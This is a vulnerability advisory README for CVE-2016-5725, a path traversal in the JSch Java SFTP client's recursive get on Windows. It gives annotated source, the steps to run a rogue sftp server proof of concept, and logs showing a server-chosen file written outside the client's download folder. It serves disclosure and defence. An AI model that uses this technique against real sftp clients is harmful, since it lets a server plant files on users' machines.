Switch branches/tags
Nothing to show
Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
..
Failed to load latest commit information.
sftpserver update cve-2016-5725 Sep 1, 2016
README.md update cve-2016-5725 Sep 1, 2016
poc.py
test_rsa.key update cve-2016-5725 Sep 1, 2016

README.md

VuNote

Author:		<github.com/tintinweb>
Ref:		https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-5725
Version: 	0.3
Date: 		Aug 31st, 2016

Tag:		jsch recursive sftp get client-side windows path traversal

Overview

Name:			jsch
Vendor:			jcraft
References:		* http://www.jcraft.com/jsch/ [1]

Version:		0.1.53 [2]
Latest Version:	0.1.53 [2]
Other Versions:	<= 0.1.53 
Platform(s):	windows
Technology:		java

Vuln Classes:	CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Origin:			remote
Min. Privs.:	post auth

CVE:			CVE-2016-5725

Description

quote website [1]

JSch is a pure Java implementation of SSH2. JSch allows you to connect to an sshd server and use port forwarding, X11 forwarding, file transfer, etc., and you can integrate its functionality into your own Java programs. JSch is licensed under BSD style license.

We have recognized that the following applications have used JSch.

	* Ant(1.6 or later).
	  JSch has been used for Ant's sshexec and scp tasks.
	* Eclipse(3.0).
	  Our Eclipse-CVSSSH2 plug-in has been included in Eclipse SDK 3.0. This plug-in will allow you to get ssh2 accesses to remote CVS repository by JSch.
	* NetBeans 5.0(and later)
	* Jakarta Commons VFS
	* Maven Wagon
	* Rational Application Devloper for WebSphere Software
	* HP Storage Essentials
	* JIRA
	* Trac WikiOutputStreamPlugin

Summary

A malicious sftp server may force a client-side relative path traversal in jsch's implementation for recursive sftp-get allowing the server to write files outside the clients download basedir with effective permissions of the jsch sftp client process.

  • affects recursive get, i.e. sftp :/* .
  • post-auth
  • file overwrite capability depends on the client specified mode: ChannelSftp.get(...,mode==ChannelSftp.OVERWRITE)
  • windows only

see attached PoC

Details

* examples/Sftp.java::main::
	c.get(p1, p2, monitor, mode);
 * ChannelSftp.java::get(String src, String dst, SftpProgressMonitor monitor, int mode)
  * ChannelSftp.java::_get(src,dst,monitor,mode,skip)

Source

Inline annotations are prefixed with //#!; Annotated var values based on PoC

File: ./src/com/jcraft/jsch/ChannelSftp.java [3]

	public void get(String src, String dst,
			  SftpProgressMonitor monitor, int mode) throws SftpException{
	    // System.out.println("get: "+src+" "+dst);
	
	    boolean _dstExist = false;
	    String _dst=null;
	    try{
	      ((MyPipedInputStream)io_in).updateReadSide();
	
	      src=remoteAbsolutePath(src);		//#! src=fancyfolder/*; dst=.
	      dst=localAbsolutePath(dst);		//#! dst=<abspath(dst)>\.
	
	      Vector v=glob_remote(src);
	      int vsize=v.size();
	      if(vsize==0){
	        throw new SftpException(SSH_FX_NO_SUCH_FILE, "No such file");
	      }
	
	      File dstFile=new File(dst);
	      boolean isDstDir=dstFile.isDirectory();
	      StringBuffer dstsb=null;
	      if(isDstDir){						//#! True
	        if(!dst.endsWith(file_separator)){
	          dst+=file_separator;
	        }
	        dstsb=new StringBuffer(dst);
	      }
	      else if(vsize>1){
	        throw new SftpException(SSH_FX_FAILURE, 
	                                "Copying multiple files, but destination is missing or a file.");
	      }
	
	      for(int j=0; j<vsize; j++){
		String _src=(String)(v.elementAt(j));
		SftpATTRS attr=_stat(_src);
	        if(attr.isDir()){
	          throw new SftpException(SSH_FX_FAILURE, 
	                                  "not supported to get directory "+_src);
	        } 
	
		_dst=null;
		if(isDstDir){						//#! True
		  int i=_src.lastIndexOf('/');		//#! dstsb=<abspath(dst)>\.\    
		  									//#! _src=/fancyfolder//..\..\totally_malicious_script
		  if(i==-1) dstsb.append(_src);		//#! not taken
		  else dstsb.append(_src.substring(i + 1));		//#! appends <abspath(dst)>\.\ + _src after last '/': <abspath(dst)>\.\ + ..\..\totally_malicious_script
	          _dst=dstsb.toString();		//#! store in _dst, thats our final dst
	          dstsb.delete(dst.length(), _dst.length());
	          								//#! dtsb=<abspath(dst)>\.\  
		}
	        else{
	          _dst=dst;
	        }
	
	        File _dstFile=new File(_dst);	//#! _dst=<abspath(dst)>\.\..\..\totally_malicious_script
		if(mode==RESUME){
		  long size_of_src=attr.getSize();
		  long size_of_dst=_dstFile.length();
		  if(size_of_dst>size_of_src){
		    throw new SftpException(SSH_FX_FAILURE, 
	                                    "failed to resume for "+_dst);
		  }
		  if(size_of_dst==size_of_src){
		    return;
		  }
		}
	
		if(monitor!=null){
		  monitor.init(SftpProgressMonitor.GET, _src, _dst, attr.getSize());
		  if(mode==RESUME){
		    monitor.count(_dstFile.length());
		  }
		}
	
	        FileOutputStream fos=null;
	        _dstExist = _dstFile.exists();
	        try{
	          if(mode==OVERWRITE){						//#! if mode is overwrite
	            fos=new FileOutputStream(_dst);			
	          }
	          else{
	            fos=new FileOutputStream(_dst, true); // append
	          }
	          // System.err.println("_get: "+_src+", "+_dst);
	          _get(_src, fos, monitor, mode, new File(_dst).length());		//#! actually download the file outside basedir: _dst=<abspath(dst)>\.\..\..\totally_malicious_script 
	        }
	        finally{
	          if(fos!=null){
	            fos.close();
	          }
	        }
	      }
	    }
	    catch(Exception e){
	      if(!_dstExist && _dst!=null){
	        File _dstFile = new File(_dst);
	        if(_dstFile.exists() && _dstFile.length()==0){
	          _dstFile.delete();
	        }
	      }
	      if(e instanceof SftpException) throw (SftpException)e;
	      if(e instanceof Throwable)
	        throw new SftpException(SSH_FX_FAILURE, "", (Throwable)e);
	      throw new SftpException(SSH_FX_FAILURE, "");
	    }
	  }
	...
	//#! just for reference, this is the method that actually downloads the file. dst contains the traversal: dst=<abspath(dst)>\.\..\..\totally_malicious_script
	private void _get(String src, OutputStream dst,
                    SftpProgressMonitor monitor, int mode, long skip) throws SftpException{
    //System.err.println("_get: "+src+", "+dst);
    ...

Proof of Concept

Prerequisites:

  • install python 2.7.x
  • issue #> pip install paramiko to install paramiko ssh library for python 2.x
  • run poc.py --help
	Usage: sftpserver [options]
	-k/--keyfile should be specified
	
	
	Options:
	  -h, --help            show this help message and exit
	  --host=HOST           listen on HOST [default: localhost]
	  -p PORT, --port=PORT  listen on PORT [default: 3373]
	  -l LEVEL, --level=LEVEL
	                        Debug level: WARNING, INFO, DEBUG [default: INFO]
	  -k FILE, --keyfile=FILE
	                        Path to private key, for example /tmp/test_rsa.key

poc:

  1. run poc.py to spawn the ssh/sftp stub listening for new connections on 0.0.0.0:3373:

    poc.py --host=0.0.0.0 --port=3373 -l DEBUG -k test_rsa.key
    
    INFO:__main__:[cve-2016-5725] sftp server starting... 
    INFO:__main__:* generating fake files
    INFO:__main__:** /..\..\totally_malicious_script
    INFO:__main__:* setting up sftp server
    INFO:__main__:* monkey patching: chattr
    INFO:__main__:* monkey patching: list_folder
    INFO:__main__:* monkey patching: mkdir
    INFO:__main__:* monkey patching: open
    INFO:__main__:* monkey patching: remove
    INFO:__main__:* monkey patching: rename
    INFO:__main__:* monkey patching: rmdir
    INFO:__main__:* monkey patching: stat
    INFO:__main__:* monkey patching: symlink
    INFO:__main__:* starting sftp server...
    0.0.0.0 3373
    
  2. connect to poc.py using jsch sftp-client example examples/Sftp.java (any user, user password):

    sftp> 
    
  3. issue a recursive get (any remote folder will do for the PoC) to store all files from remote:fancyfolder to ..

    Note: output may contain additional debug information not enabled by default in examples/Sftp.java
    Note: pwd is <path>\workspace-ee\jsch
    Note: local output folder is . (<path>\workspace-ee\jsch)

    sftp> get fancyfolder/* .
  4. client connects to poc.py with subsystem sftp

    DEBUG:paramiko.transport:starting thread (server mode): 0x350afd0L
    DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-paramiko_2.0.0
    DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-JSCH-0.1.53
    INFO:paramiko.transport:Connected (version 2.0, client JSCH-0.1.53)
    DEBUG:paramiko.transport:kex algos:[u'ecdh-sha2-nistp256', u'ecdh-sha2-nistp384', u'ecdh-sha2-nistp521', u'diffie-hellman-group-exchange-sha256', u'diffie-hellman-group-exchange-sha1', u'diffie-hellman-group1-sha1'] server key:[u'ssh-rsa', u'ssh-dss', u'ecdsa-sha2-nistp256', u'ecdsa-sha2-nistp384', u'ecdsa-sha2-nistp521'] client encrypt:[u'aes128-ctr', u'aes128-cbc', u'3des-ctr', u'3des-cbc', u'blowfish-cbc'] server encrypt:[u'aes128-ctr', u'aes128-cbc', u'3des-ctr', u'3des-cbc', u'blowfish-cbc'] client mac:[u'hmac-md5', u'hmac-sha1', u'hmac-sha2-256', u'hmac-sha1-96', u'hmac-md5-96'] server mac:[u'hmac-md5', u'hmac-sha1', u'hmac-sha2-256', u'hmac-sha1-96', u'hmac-md5-96'] client compress:[u'none'] server compress:[u'none'] client lang:[u''] server lang:[u''] kex follows?False
    DEBUG:paramiko.transport:Kex agreed: diffie-hellman-group1-sha1
    DEBUG:paramiko.transport:Cipher agreed: aes128-ctr
    DEBUG:paramiko.transport:MAC agreed: hmac-md5
    DEBUG:paramiko.transport:Compression agreed: none
    DEBUG:paramiko.transport:kex engine KexGroup1 specified hash_algo <built-in function openssl_sha1>
    DEBUG:paramiko.transport:Switch to new keys ...
    DEBUG:paramiko.transport:Auth request (type=none) service=ssh-connection, username=root
    INFO:paramiko.transport:Auth rejected (none).
    DEBUG:paramiko.transport:Auth request (type=password) service=ssh-connection, username=root
    INFO:paramiko.transport:Auth granted (password).
    DEBUG:paramiko.transport:[chan 0] Max packet in: 32768 bytes
    DEBUG:paramiko.transport:[chan 0] Max packet out: 32768 bytes
    DEBUG:paramiko.transport:Secsh channel 0 (session) opened.
    DEBUG:paramiko.transport:Starting handler for subsystem sftp
  5. jsch sftp-client command get fancyfolder/* . calls opendir(/fancyfolder) on the PoC sftp server which responds with a fake filelist for fancyfolder listing the file /..\..\totally_malicious_script.

    DEBUG:paramiko.transport.sftp:[chan 0] Started sftp server on channel <paramiko.Channel 0 (open) window=2097152 -> <paramiko.Transport at 0x350afd0L (cipher aes128-ctr, 128 bits) (active; 1 open channel(s))>>
    DEBUG:paramiko.transport.sftp:[chan 0] Request: realpath
    DEBUG:paramiko.transport.sftp:[chan 0] Request: opendir
    INFO:__main__:LIST (u'/fancyfolder'): [<SFTPAttributes: [ size=44 uid=0 gid=9 mode=0100666 atime=1472758892 mtime=1472758897 ]>]
    DEBUG:paramiko.transport.sftp:[chan 0] Request: readdir
    DEBUG:paramiko.transport.sftp:[chan 0] Request: readdir
    DEBUG:paramiko.transport.sftp:[chan 0] Request: close
  6. jsch sftp-client recursively downloads the files listed in the response to opendir(/fancyfolder) (sftp-get, filename includes traversal) by calling stat, open and read on the file.

    a) jsch sftp-client calls stat on the filename as returned by the servers response to opendir (with traversal): stat(/fancyfolder//..\\..\\totally_malicious_script)
    b) the sftp-server (PoC) returns file attributes for totally_malicious_script (with traversal)
    c) jsch sftp-client requests file open on the path (with traversal): open(/fancyfolder//..\..\totally_malicious_script)
    d) jsch sftp-client builds destination path by concatenating the destination folder ( <path>\workspace-ee\jsch\. ) with the server provided filename /..\..\totally_malicious_script stripping any data before and including / of the filename, then receives the remote files contents: <path>\workspace-ee\jsch\.\..\..\totally_malicious_script
    e) the resulting sftp-client local destination path dst <path>\workspace-ee\jsch\.\..\..\totally_malicious_script is outside the basedir <path>\workspace-ee\jsch\.

    sftp-server (PoC)

    DEBUG:paramiko.transport.sftp:[chan 0] Request: stat
    INFO:__main__:STAT (u'/fancyfolder//..\\..\\totally_malicious_script')
    INFO:__main__:STAT - returning: totally_malicious_script
    INFO:__main__:** /..\..\totally_malicious_script
    DEBUG:paramiko.transport.sftp:[chan 0] Request: open
    INFO:__main__:OPEN: /fancyfolder//..\..\totally_malicious_script
    DEBUG:paramiko.transport.sftp:[chan 0] Request: read
    DEBUG:paramiko.transport.sftp:[chan 0] Request: read
    DEBUG:paramiko.transport.sftp:[chan 0] Request: read
    DEBUG:paramiko.transport.sftp:[chan 0] Request: close

    sftp-client (jsch)

    dst <path>\workspace-ee\jsch\.\..\..\totally_malicious_script
    _get: /fancyfolder//..\..\totally_malicious_script, java.io.FileOutputStream@7ccf3329
    sftp> 
  7. downloaded file is stored in server controlled relative path on client

    tintin@testbox ~<path>/workspace-ee/jsch
    $ ls ../../total*
    ../../totally_malicious_script

Troubleshooting

Q: ImportError: No module named py3compat

A: outdated paramiko please upgrade with pip install --upgrade paramiko

Mitigation / Workaround

  • normalize and sanitize server provided path and filename, restrict basedir

Notes

  • the PoC is a slightly modified version stub_sftp.py shipped with paramiko/tests [4].

Vendor response: see [5]

References

[1] http://www.jcraft.com/jsch/
[2] https://sourceforge.net/projects/jsch/files/?source=navbar
[3] https://sourceforge.net/projects/jsch/files/jsch/0.1.53
[4] https://github.com/paramiko/paramiko/blob/master/tests/stub_sftp.py
[5] http://www.jcraft.com/jsch/ChangeLog

Contact

https://github.com/tintinweb